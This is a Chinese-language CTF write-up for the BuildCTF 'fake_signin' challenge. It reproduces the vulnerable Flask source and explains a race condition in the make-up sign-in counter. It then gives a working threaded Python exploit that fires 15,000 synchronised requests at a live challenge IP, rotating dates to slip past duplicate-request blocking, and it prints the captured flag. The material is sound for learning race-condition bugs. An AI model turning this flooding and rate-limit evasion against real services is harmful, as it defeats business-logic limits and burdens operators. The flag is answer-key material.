条件竞争
一个结构体之类的来储存,且无锁,或者没锁完全就可能达成这一漏洞
多线程脚本都差不多
要注意的是因为网络问题之类的,不要重复发同样的包,可能无响应被拦截
此处的str(i % 30 + 1).zfill(2)
就是因为这个,500次其实是每个日期30次交替500次
事先创建足够的 Barrier 对象
可以让线程更同步
fake_signin
先看源码
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime
app = Flask(__name__)
app.secret_key = 'BuildCTF'
CURRENT_DATE = datetime(2024, 9, 30)
users = {
'admin': {
'password': 'admin',
'signins': {},
'supplement_count': 0,
}
}
@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('view_signin'))
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['user'] = username
return redirect(url_for('view_signin'))
return render_template('login.html')
@app.route('/view_signin')
def view_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
signins = user['signins']
dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
for i in range(1, 31)]
today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins
if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)
@app.route('/signin')
def signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")
if today not in user['signins']:
user['signins'][today] = True
return redirect(url_for('view_signin'))
@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
supplement_message = ""
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
@app.route('/logout')
def logout():
session.pop('user', None)
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5051)
可以看到要到达30次签到才有flag
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
主要补签逻辑在这,只有一个条件判断,而且是对一个全局字典进行操作,存在条件竞争
并发同时发送30个日期的补签请求即可
但是有一个问题(可能是服务器哪里的一个机制)相同的post短时间并发请求多次会被拦截
所以要30个日期换着发
import requests
import threading
BASE_URL = "http://27.25.151.80:42889"
login_data = {
"username": "admin",
"password": "admin",
}
# 创建会话来保存用户的登录状态
session = requests.Session()
# 登录请求
login_url = f"{BASE_URL}/login"
login_response = session.post(login_url, data=login_data)
# 检查登录是否成功
if login_response.status_code == 200:
print("登录成功")
# 创建 Barrier 对象,确保 15000 个线程同时开始
barrier = threading.Barrier(15000)
# 补签函数,模拟发送请求
def supplement_signin(session, supplement_date):
# 等待所有线程到达 barrier
barrier.wait()
supplement_url = f"{BASE_URL}/supplement_signin"
data = {"supplement_date": supplement_date}
response = session.post(supplement_url, data=data)
if response.status_code == 200:
print(f"{supplement_date} 补签成功")
else:
print(f"{supplement_date} 补签失败,状态码:{response.status_code}")
threads = []
for i in range(1, 501): # 往复30个日期共500次
for _ in range(30):
date = f"2024-09-{str(i % 30 + 1).zfill(2)}" # 确保日期在 01-30 之间
t = threading.Thread(target=supplement_signin, args=(session, date))
threads.append(t)
# 启动所有线程
for t in threads:
t.start()
# 等待所有线程执行完毕
for t in threads:
t.join()
print(f"共发起了 {len(threads)} 个补签请求")
BuildCTF{ec417137-2e5d-435c-870d-c6c4dfd921d7}
Comments NOTHING